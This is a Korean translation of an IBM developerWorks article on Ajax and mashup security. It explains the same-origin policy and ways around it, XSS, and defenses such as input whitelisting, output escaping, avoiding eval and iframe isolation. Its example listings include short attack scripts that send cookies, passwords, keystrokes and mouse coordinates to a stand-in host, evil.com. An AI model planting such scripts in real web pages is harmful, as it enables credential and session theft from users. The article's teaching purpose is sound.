매시업 애플리케이션을 보안화 하는 팁과 베스트 프랙티스

문서 옵션 JavaScript가 필요한 문서 옵션은 디스플레이되지 않습니다. 이 페이지 출력 이 페이지를 이메일로 보내기 영어원문  제안 및 의견 피드백

난이도 : 중급

Sachiko Yoshihama, Research Staff Member, IBM　
Dr. Frederik De Keukelaere, Postdoctoral Researcher, IBM　
Dr. Michael Steiner, Research Staff Member, IBM　
Dr. Naohiko Uramoto, Research Staff Member, IBM　

2007 년 8 월 14 일

Web 2.0의 핵심 기술인 Asynchronous JavaScript + XML (ajax)은 사용자와 웹 페이지 인터랙션을 웹 브라우저와 서버 통신으로부터 분리시켰습니다. 특히, ajax는 매시업을 실행하는데, 이는 여러 콘텐트나 서비스를 하나의 사용자 경험으로 통합시킵니다. 하지만, ajax와 매시업 기술은 동적이고 멀티도메인 성격으로 인해서 새로운 문제를 야기시켰습니다. ajax 기술과 관련한 문제에 대해 배우고 이를 해결하는 베스트 프랙티스에 대해서도 알아봅시다.

소셜 북마크 mar.gar.in Digg del.icio.us Slashdot

ajax는 Dynamic HTML (DHTML) 기술과 다음과 같은 기술을 기반으로 구현된다.

• JavaScript: JavaScript는 클라이언트 측 웹 애플리케이션에 사용되는 스크립팅 언어이다.
• Document Object Model (DOM)): DOM은 HTML 또는 XML 문서들을 나타내는 표준 객체 모델이다. 대부분의 브라우저들이 DOM을 지원하고, JavaScript 코드가 HTML 콘텐트를 동적으로 읽고 수정할 수 있도록 한다.
• Cascading Style Sheets (CSS): CSS는 HTML 문서의 표현을 설명하는데 사용되는 스타일시트 언어이다. JavaScript는 런타임 시 스타일시트를 수정하면서, 웹 페이지의 표현이 동적으로 업데이트 될 수 있도록 한다.

• XMLHttpRequest : XMLHttpRequest는 클라이언트 측 JavaScript가 HTTP를 원격 서버로 연결하여 플레인 텍스트, XML, JavaScript Serialized Object Notation (JSON) 같은 데이터를 교환할 수 있도록 해주는 API이다.
• JSON: Request for Comments (RFC) 4627에서 제안한 JSON은 경량의, 텍스트 기반, 언어 독립적인 데이터 교환 포맷이다. ECMAScript 언어의 하위 세트에 기반하고 있으며(JavaScript 언어의 일부이다.), 포맷팅 규칙 세트를 정의하여 구조화 된 데이터를 생성한다.

ajax 애플리케이션에는 XML과 포맷되지 않은 플레인 텍스트 같은, JSON의 대안 기술이 일반적으로 사용된다. 이 글에서는 JSON에 대해 설명할 것이다.

ajax에 익숙지 않은 독자들은 참고자료 섹션을 참조하기 바란다.

Same-Origin 정책 이해하기

여 러 기원지에서 온 콘텐트들이 하나의 애플리케이션으로 통합될 때 콘텐트 중 일부는 서로 다른 트러스트 레벨을 갖거나 서로에 대해 신뢰를 하지 않을 수 있다. 다른 기원지에서 온 콘텐트를 고립시켜서 간섭을 최소화 하는 것이 필요하다.

Same-Origin 정책은 도메인이 기원지를 나타낸다고 가정했을 때, 다른 도메인에서 온 웹 애플리케이션들을 고립시키는 현재 브라우저의 보호 메커니즘 중 하나이다. 다시 말해서, 다중 윈도우 또는 다중 프레임의 애플리케이션들이 다른 서버들에서 다운로드 되었다면, 이들은 서로의 데이터와 스크립트에 액세스 할 수 없다. Same-Origin 정책은 HTML 문서에만 적용된다. <script src="..." > 태그에 의해 HTML 문서로 반입된 JavaScript 파일들은 HTML 문서와 같은 기원을 가진 일부로서 간주된다.

XMLHttpRequest 정황에서, Same-Origin 정책은 원격 서버들과 애플리케이션의 인터랙션을 제어에 관한 것이다. 하지만, Same-Origin 정책은 여러 가지 이유들로 Web 2.0 애플리케이션에만 제한된 영향력을 갖고 있다.

• 여러 가지 방식으로 Same-Origin 정책을 우회할 수 있다: 이 글 후반에 이러한 그 방법을 소개할 것이다.
• Web 2.0 애플리케이션의 주 특성은 사용자의 콘텐트에 대한 기여이다: 다시 말해서, 콘텐트는 믿을 수 있는 서비스에서 공급되기도 하지만 블로그, wiki 같은 것을 통해서 익명의 사용자에 의해 제공된다. 따라서, 싱글 서버에서 온 콘텐트라도 여러 소스에서 온 것일 수 있다.
• Same-Origin 정책을 실행하는 브라우저들은 서버의 도메인 이름으로 스트링 리터럴로 체크한다: 예를 들어, http://www.abc.com/과 http://12.34.56.78/은 www.abc.com의 IP 주소가 실제로 12.34.56.78이라 할지라도 다른 도메인으로서 취급된다. 게다가, URL의 경로 식이 무시된다. 예를 들어, http://www.abc.com/~alice는 http://www.abc.com/~malroy와 같은 기원으로 구분되면서, 두 디렉토리가 다른 사용자에 속해있다는 사실을 무시한다.
• 대부분의 웹 브라우저는 웹 애플리케이션이 도메인 정의를 애플리케이션 자체의 수퍼 도메인으로 완화시킨다: 예를 들어, 한 애플리케이션이 www.abc.com에서 다운로드 되었다면, 이 애플리케이션은 document.domain 프로퍼티를 abc.com 또는 com (Firefox일 경우)으로 오버라이드 할 수 있다. 대부분의 최신 브라우저들은 document.domain 프로퍼티를 같은 값으로 오버라이드 했던 윈도우나 프레임 사이에 있는 윈도우 객체들로 액세스를 허용한다. 하지만, 구 버전의 브라우저는 document.domain 프로퍼티에서 지정된 도메인으로 XMLHttpRequest 연결을 한다.
• 웹 서버가 믿을 수 있는 도메인에 있더라도, Web 2.0의 정황에서는 콘텐트의 기원자가 되지 않을 수 있다: 기업 포털 서버, 웹 기반 메일 서버, wiki는 신뢰를 받지만, 이들이 호스팅 하고 있는 콘텐트에는 악의적인 삼자에게서 온 인풋이 포함되어 있을 수 있다. 이는 크로스 사이트 스크립팅(XSS) 공격의 대상이 될 수 있다. 따라서, 서버의 도메인은 콘텐트의 신뢰성을 나타낼 수 없다.

Same-Origin 정책 대안: JSON과 동적 스크립트 태그

JSON은 단순한 괄호 형식의 구조를 가진 플레인 텍스트이기 때문에, 많은 채널들이 JSON 메시지를 교환할 수 있다. Same-Origin 정책 때문에, 여러분은 외부 서버와 통신할 때 XMLHttpRequest를 사용할 수 없다. JSON with Padding (JSONP)는 JSON과 <script> 태그를 결합하여 사용함으로써 Same-Origin 정책을 우회하는 하나의 방식이다. (Listing 1)

                
<script type="text/javascript"
  src="http://travel.com/findItinerary?username=sachiko&
  reservationNum=1234&output=json&callback=showItinerary" />
	

JavaScript 코드가 동적으로 <script> 태그를 삽입할 때, 브라우저는 src 애트리뷰트에 있는 URL에 액세스 한다. 이로써 쿼리 스트링에 있는 정보를 서버에 보내게 된다. Listing 1에서, username과 reservation은 이름-값 쌍으로 전달된다. 게다가, 쿼리 스트링에는 서버에 요청한 아웃풋 포맷과 콜백 함수의 이름(showItinerary)이 포함되어 있다. <script> 태그가 로딩할 때, 콜백 함수가 실행되고, 서버에서 리턴된 정보는 인자를 통해 여기로 전달된다.

Same-Origin 정책 대안: ajax 프록시

ajax 프록시는 웹 브라우저와 서버 간 HTTP 요청과 응답을 중재하는 애플리케이션 레벨의 프록시 서버이다. ajax 프록시는 웹 브라우저가 Same-Origin 정책을 우회하고 XMLHttpRequest를 사용하여 서드 파티 서버로 액세스 할 수 있도록 해준다. 바이패스를 실현하려면, 다음 두 방식 중 하나를 선택한다.

• 클 라이언트 측 웹 애플리케이션은 서드 파티 URL을 알고 있고 이것을 HTTP 요청 시 요청 매개변수로서 ajax 프록시에 전달한다. 이 프록시는 요청을 www.remoteservice.com에 전달한다. 웹 애플리케이션 개발자가 사용하는 ajax 라이브러리의 구현 시 프록시 서버의 사용을 숨길 수 있다. 웹 애플리케이션 개발자에게는 Same-Origin 정책을 전혀 갖고 있지 않은 것처럼 보인다.
• 클라이언트 측 웹 애플리케이션은 서드 파티 URL을 알지 못하고, HTTP를 통해 ajax 프록시 서버에 있는 리소스에 액세스 한다. 사전 정의된 인코딩 규칙에 따라, ajax 프록시는 요청된 URL을 서드 파티 서버 URL로 변환하고 클라이언트 대신 콘텐트를 검색한다. 이 경우, 프록시 서버와 직접 통신하고 있을 웹 애플리케이션 개발자를 찾는다.

Same-Origin 정책 대안: Greasemonkey

Greasemonkey는 Firefox 확장으로, 사용자는 웹 페이지 스타일과 콘텐트를 바로 수정할 수 있다. Greasemonkey 사용자는 사용자 스크립트 파일과 URL 세트를 제휴시킬 수 있다. 이러한 스크립트들은 브라우저가 URL 세트에서 페이지를 로딩할 때 실행된다. Greasemonkey는 사용자 스크립트에 대한 API에 추가 권한을 제공한다. (브라우저 샌드박스에서 실행되는 스크립트 권한과 비교)

이러한 API들 중 하나가 GM_XMLHttpRequest인데, 이것은 기본적으로 Same-Origin 정책이 없는 XMLHttpRequest이다. 사용자 스크립트는 브라우저의 빌트인 XMLHttpRequest를 GM_XMLHttpRequest로 오버라이드 하여 XMLHttpRequest 권한을 제공하여 크로스 도메인 액세스를 수행한다.

GM_XMLHttpRequest의 사용은 사용자 동의에 의해서만 보호된다. 다시 말해서, Greasemonkey는 새로운 사용자 스크립트와 특정 URL을 제휴시킬 때 사용자 확인만 요한다. 하지만, 일부 사용자들은 그 결과를 완전히 이해하지 못한 채 설치를 수락하게 될 것이다.

공격 시나리오 검토하기

개 발자가 Same-Origin 정책을 회피하고 악의적인 사용자에게 공격 가능성을 열어둘 뿐만 아니라, 현재 애플리케이션들은 악의적인 코드가 웹 애플리케이션에 삽입될 때 공격에 취약하다. 안타깝게도 악성 코드는 여러 가지 방식으로 웹 애플리케이션에 침투하고 있다. 이 글에서는 간단히 두 가지 루트만 소개하겠다. 이 두 가지 루트는 Web 2.0 정황과 관련성이 높다.

Cross-site scripting (XSS)

XSS는 공격자가 악성 코드를 사이트에 투입하는 일반적인 공격이다. 두 가지 기본적인 XSS 공경 유형이 있다.

• Reflected XSS
• Stored XSS

Reflected XSS 공격은 활성 콘텐트의 존재 여부를 체크하지 않고 브라우저로 인풋 매개변수를 디스플레이 하는 취약한 웹 애플리케이션들을 활용한다. 일반적으로, 공격자는 URL을 클릭하도록 유도한다. (Listing 2)

                	
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie=" 
+ document.cookie; </script>
	

trusted.com이 검색 결과와 입력한 키워드를 게시하는 검색 기능을 가진 서비스를 호스팅 한다고 해보자. 검색 애플리케이션이 URL에서 특수 문자[< 심볼과 > 심볼]를 필터링 하지 못한다면 <script> 태그의 콘텐트도 사용자 웹 페이지로 삽입될 것이고, 결국 문서 쿠키를 원격 서버 evil.com으로 보내게 될 것이다.

Stored XSS 공격 역시 Web 2.0에서 중요하다. Web 2.0의 핵심은 사람들간 공유, 인터랙션, 협업이기 때문에, 사용자들은 social network services (SNS), wiki, 블로그 같은 서비스를 통해 다른(악의적인) 사용자 인풋을 볼 수 있는 더 많은 기회를 갖는다.

이 두 경우에서, 인풋 값 위반과 삭제는 XSS 공격을 방지하는 열쇠이다. 일반적으로 웹 서버는 사용자 인풋에서 스크립트를 제거하지만, 종종 공격자들은 취약성을 이용하여 이러한 필터를 우회하고, Yamanner나 MySpace WORM 같은 결과를 만들어 낸다.

매시업

매 시업 애플리케이션은 여러 소스들로부터 온 콘텐트와 서비스들을 결합하여 하나의 통합된 사용자 경험으로 만드는 웹 애플리케이션이다. 전형적인 매시업 애플리케이션은 하나의 클라이언트 측 애플리케이션으로 되므로, 매시업의 다른 부분들은 정보를 공유하고 DOM 트리나 브라우저 윈도우 프로퍼티 같은 여러 브라우저 리소스를 통해 인터랙팅 한다. 매시업의 특정 부분이 악의적인 의도로 작성될 때(또는 해킹될 때) 악성 코드를 애플리케이션에 투입할 수 있다. 이는 민감한 사용자 정보를 훔치는 것을 포함하여 모든 종류의 공격이 될 수 있다. (XSS와 비슷)

위로

공격의 결과

공격자들이 코드를 애플리케이션에 삽입하는 방법을 알았으니, 일부 공통적인 공격의 특성에 대해 알아보자.

쿠키나 패스워드 훔치기

공 격을 통해 얻는 가장 직접적인 이득은 사용자 패스워드나 쿠키 같은 민감한 사용자 정보를 얻는 것이다. 투입된 스크립트가 DOM 트리의 일부에 액세스 할 수 있으므로, 무엇보다도 로그인 폼의 텍스트 필드에서 패스워드 정보를 훔칠 수 있다. Listing 3은 정보를 훔치고 이것을 공격자의 서버로 보내는 코드를 보여주고 있다.

                	
function stealpw(){
  var pw = document.getElementById("password").value;
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = stealpw;

이 예제에서, 공격자는 데이터를 받기 전에 사용자가 제출 버튼을 클릭할 때까지 기다려야 한다. ajax는 공격자의 작업을 훨씬 더 쉽게 만든다. 공격자가 임의의 정보를 버튼을 누른다거나 링크를 클릭하는 것 같은 뚜렷한 사용자 액션을 기다리지 않고 원격 서버로 보낼 수 있기 때문이다. 이러한 유형의 트래픽은 수상한 작동으로 간주되지만, ajax 애플리케이션의 비동기성 때문에 트래픽은 탐지되지 않는다.

비슷한 방식을 사용하여, 공격자는 민감한 웹 애플리케이션(온라인 뱅킹 애플리케이션)의 문서 쿠키도 훔칠 수 있다. 문서 쿠키는 공격자가 훔친 크리덴셜로 세션을 하이잭킹 하거나 로그인 할 수 있도록 한다.

Microsoft® Internet Explorer® 6 또는 이후 버전은 HttpOnly 쿠키를 지원하는데, 이는 클라이언트 측 스크립트가 문서 쿠키에 액세스 하지 못하도록 한다. 하지만, 대부분의 웹 애플리케이션들은 브라우저 구현에 의존할 수 없기 때문에 이는 도움이 되지 않는다.

키 로거(key logger)로 키보드 이벤트 훔치기

Listing 4는 키 로거의 예제를 보여주고 있다. 웹 페이지에서 키보드 이벤트를 훔쳐서 이것을 원격 서버로 보낸다. 키 로거는 공격자가 사용자 인풋을 가로챌 수 있게 한다. 예를 들어, 사용자가 웹 기반 이메일 서비스를 사용하면, 키 로거는 텍스트 인풋을 기록하고 이것을 공격자에게 전송한다. 공격자는 기록된 데이터를 분석하여 패스워드와 기밀 메시지 같은 중요한 정보를 검색한다.

                	
function keylogger(e){
  document.images[0].src = "http://evil.com/logger?key="
  + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);

마우스 스니퍼(mouse sniffer)로 키보드 이벤트 훔치기

소 프트 키패드는 온라인 뱅킹 서비스용 로그인 PIN 코드 같은 민감한 인풋에 대한 키 로거 공격을 방지하는 일반적인 기술이 되었다. 하지만, 마우스 스니퍼는 키 로거에 의해 사용되던 것과 비슷한 기술을 사용할 수 있다. 마우스 이벤트의 X와 Y 좌표를 훔쳐서, 키패드 상의 어떤 키들이 클릭되었는지를 추정할 수 있다. Listing 5는 마우스 스니퍼 예제이다.

                		
function sniffer(e){
  document.images[0].src= "http://evil.com/imgs/sniffer?x="
  + e.clientX + "&y=" + e.clientY;
};
document.body.addEventListener("mouseup", sniffer, false);

잘못된 정보 삽입하기

DOM 인터페이스를 사용하여, 공격자는 DOM 트리에서 어떤 정보라도 수정할 수 있다. 예를 들어, 사용자가 온라인으로 돈을 전송할 때 공격자가 목적 계정을 자신의 것으로 바꿀 수 있다. 결국, 전송된 돈은 공격자의 계좌로 입금된다.

또 다른 유형의 공격 중에, 공격자가 스타일시트를 수정하여 사용자에게 정보를 숨기는 방법도 있다. 웹 페이지에 경고 메시지가 있다고 생각해 보자. (Listing 6)

                		
...
<style type="text/css"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to 
potentially malicious Web pages, so be careful. </div>
...
	

공격자는 스타일시트를 수정하여 경고를 제거한다. Listing 7은 경고 스타일을 수정하여 흰색 배경에는 보이지 않도록 하는 JavaScript 코드를 나타내고 있다.

                		
var e = document.getElementById("warning");
e.style.color= "white";
	

위로

베스트 프랙티스

공격이 어떻게 이루어지고, 어떤 결과가 나타나는지 보았으므로, ajax 애플리케이션의 보안을 향상시킬 수 있는 기술에 대해 배워보자.

인풋 값 체크 추가하기

XSS 예제에서 보았듯이, 대부분의 공격은 악성 스크립트를 투입함으로써 서버 측 취약성을 악용한다. 따라서, 인풋 밸리데이션은 웹 애플리케이션을 보호하는 첫 단계이다. 인풋 밸리데이션과 정리로 믿을 수 없는 인풋으로부터 모든 실행 또는 악성 콘텐트를 가려낸다.

두 가지 유형의 인풋 밸리데이션이 있다.

• 블랙리스팅(Blacklisting): 이 방식에서, 블랙리스트에 있는 모든 문자들은 인풋에서 제거된다. 블랙리스팅 방법에서 가장 큰 문제는 모든 위험한 문자들이 리스팅 되는지를 보장하는 것이다. 인풋의 모든 조합들을 예견하는 것은 불가능하기 때문에, 블랙리스팅은 종종 정확한 밸리데이션에 실패한다.
• 화이트리스팅(Whitelisting): : 허용되는 모든 문자들을 리스팅 하고 다른 모든 문자들을 인풋에서 제거한다. 화이트리스팅의 가장 큰 문제는 리스트를 가능한 짧게 유지하면서, 웹 애플리케이션에 필요한 인풋 유형을 허용하는 충분한 유연성을 제공하는 것이다.

블랙리스팅이나 화이트리스팅이 단순한 솔루션이라고 간주해서는 안된다. 화이트리스팅은 일반적으로 보다 안전한 옵션으로 간주된다. 따라서, 위험한 인풋을 제거하려면 화이트리스팅을 사용하는 것이 좋다.

브 라우저로 보내서 디스플레이 하는 스트링에서 특수 문자를 이스케이프(less than 심볼(<)에서 "&lt;"로 바꾸기)하는 것도 보안을 향상시키는 좋은 방법이다. 일부 프로그래밍 언어들은 유용한 빌트인 함수를 제공하여 특수 문자들을 이스케이프한다.

취약성 체크 툴 사용하기

많 은 웹 애플리케이션들은 비슷한 유형의 프로그래밍 에러에도 약하다. 따라서, 보안 전문가는 그러한 불안전한 프로그래밍 프랙티스를 탐지하는 툴을 개발했다. 이 같은 툴들을 취약성 체크 툴이라고 하는데, 잠재적인 취약성을 미리 탐지한다. 이러한 툴이 탐지하는 가장 일반적인 취약점 중 하나는 프로그래머가 악성 인풋에 청소 루틴을 호출하는 것을 잊을 경우이다.

코드를 동적으로 생성하고 실행하지 말 것

JavaScript 프로그램에서 동적으로 코드를 생성할 수 있는 여러 가지 방법들이 있다. 가장 잘 알려진 함수들 중 하나가 eval() 함수인데, 이것으로 임의의 스트링을 JavaScript 코드로서 실행할 수 있다. 하지만, 이 함수를 사용할 때에는 주의를 기울여야 한다. 반드시 필요한 경우가 아니라면 동적으로 생성된 코드를 사용하지 말라. 안타깝게도, 일부 JavaScript 라이브러리들은eval() 함수를 내부에서 사용하고 있다.

JSON 사용을 보안화 할 것

JSON 은 JavaScript의 하위 세트에 기반하기 때문에, 악성 코드를 포함하고 있는 스크립트 콘텐트이다. 하지만, JSON은 할당과 호출을 배제한 JavaScript의 안전한 하위 세트이다. 따라서, 많은 JavaScript 라이브러리들은 eval() 함수를 사용하여 JSON을 JavaScript 객체로 변환한다. 이를 활용하려면, 공격자들은 잘못 형성된 JSON 객체들을 그러한 라이브러리들로 보내서 eval() 함수가 악성 코드를 실행하도록 한다. JSON의 사용을 보안화 하는 여러 방법이 있다. 첫 번째 방법은 RFC 4627에 정의된 정규식을 사용하여 JSON 데이터에 활성 부분이 포함되지 않도록 하는 것이다. Listing 8은 정규식으로 JSON 스트링을 검사하는 방법이다.

                
	var my_JSON_object = !(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
    text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
    eval('(' + text + ')');
	

보다 안전한 대안은 JSON 파서를 사용하여 JSON 데이터를 파싱하는 것이다. JSON의 문법은 매우 단순하기 때문에, 성능의 차이 없이 이 같은 파서를 쉽게 구현할 수 있다.

신뢰할 수 없는 콘텐트를 통합할 때 <iframe> 사용하기

Same-Origin 정책을 활용하여 공격자가 전체 DOM 트리에 액세스 하기 어렵게 만들 수 있다. 다른 도메인에서 <iframe>으로 데이터를 로딩할 때, 그 데이터에게 고유의 JavaScript 실행 콘텍스트와 DOM 트리를 제공한다. 이는 공격자가 메인 페이지에서 정보를 훔치지 못하게 한다. 믿을 수 없는 외부 콘텐트를 제한할 때 <iframe>을 가능한 많이 사용하는 것도 좋은 방법이다.

결론

Web 2.0 애플리케이션이 Same-Origin 정책을 피하는 여러 가지 방법들을 보았다. 웹 애플리케이션에 생길 수 있는 새로운 공격 유형에 대해서도 살펴 보았다. 공격의 유형과 결과에 대해서도 논했다. 마지막으로, 가장 일반적은 공격을 피하기 위해 사용할 수 있는 방법들을 설명했다.

참고자료

• ajax와 XML: 다섯 개의 일반적인 ajax 패턴 (한글) (Jack D. Herrington, 한국developerWorks, 2007년 4월): 쉽고 일반적인 ajax 디자인 패턴들에 대해 이야기한다.
  
  
• ajax 마스터하기 (한글)시 리즈 (Brett McLaughlin, 한국 developerWorks, 2006년 9월 - 2007년 5월): 본 특집은 ajax에서 사용되고 있는 XMLHttpRequest를 이용한 비동기 자료검색, DOM을 이용한 상호작용, 모든 것을 결합시켜 정리해 주는 자바스크립트 등에 관하여 자세하게 예를 들어 설명하고 있다.
  
  
• JSON.org
  
  
• RFC 4627: The application/json Media Type for JavaScript Object Notation (JSON) (D. Crockford, JSON.org, 2006년 7월)
  
  
• Remote JSON - JSONP (Bob Ippolito, 2005년 12월)
  
  
• Top 10 ajax 보안 허점과 동력 (Shreeraj Shah, Help Net Security, 2006년 11월)
  
  
• ajax 보안 기초 (Jaswinder S. Hayre and Jayasankar Kelath, SecurityFocus, 2006년 6월)
  
  
• Open Web Application Security Project (OWASP)
  
  
• JS.Yamanner@m: Yamanner 웜에 대한 상세한 기술자료(사만텍 웹사이트)
  
  
• MySpace 웜의 기술적 설명: MySpace 웜의 상세 기술 자료.
  
  
• The Same Origin Policy: same-origin policy에 대한 Jesse Ruderman의 글.
  
  
• IBM XML 인증
  
  
• XML 기술 자료 (영문): developerWorks XML 존의 광범위한 : 기술자료, 팁, 튜토리얼, 표준, IBM Redbook.
  
  
• XML 기술 자료 (한글): 한국 developerWorks XML 존의 광범위한 : 기술자료, 팁, 튜토리얼, 표준, IBM Redbook.
  
  
• developerWorks 기술 이벤트와 웹캐스트
  
  
• technology bookstore
  
  

• Greasespot: 홈페이지에 방문하여 Greasemonkey와 관련 자료 링크를 볼 수 있다.
  
  
• IBM 시험판 소프트웨어: developerworks에서 시험판 소프트웨어를 다운로드하여 차기 개발 프로젝트에 활용해보라.
  
  

• developerWorks 블로그: 이 글에 관한 블로그를 확인해보고 한국 developerWorks 커뮤니티도 참여해보라.
  
  
• XML 존 토론 포럼: XML-관련 토론 참여하기.

필자소개

		Sachiko Yoshihama는 IBM 일본 도쿄 연구소의 보안 및 프라이버시 팀의 연구원이다. Web 2.0 보안, 정보 플로우 컨트롤, 트러스티드 컴퓨팅 분야에 관심이 많다.

		Frederik De Keukelaere는 IBM 도쿄 연구소의 연구원(postdoctoral)이다. TRL에 입사하기 전, MPEG 커뮤니티에서 활동했으며, MPEG-21 표준의 기여자 겸 에디터를 역임했다. TRL에서는 Web 2.0 보안 분야를 담당하고 있다. 벨기에 겐트대학교에서 컴퓨터 공학 엔지니어링 박사 학위를 받았다.

		Michael Steiner는 IBM T.J. Watson Research Center의 연구원이다. 분산 시스템의 암호화 및 보안 분야에 관심을 갖고 있다. 독일 잘란트대학교에서 컴퓨터 공학 박사 학위를 받았다.

		Naohiko Uramoto는 규슈대학교에서 컴퓨터 공학 석사 학위를 받은 후, 1990년에 IBM 도쿄 연구소에 입사했다. 규슈대학교에서 2000년에 컴퓨터 공학 박사 학위를 받았다. 2000년부터 2005년까지 일본국립정보학연구소(NII: National Institute of Informatics)의 조교수를 역임했다. 현재, 웹 서비스 보안 및 Web 2.0 보안 분야의 연구 프로젝트를 맡고 있다.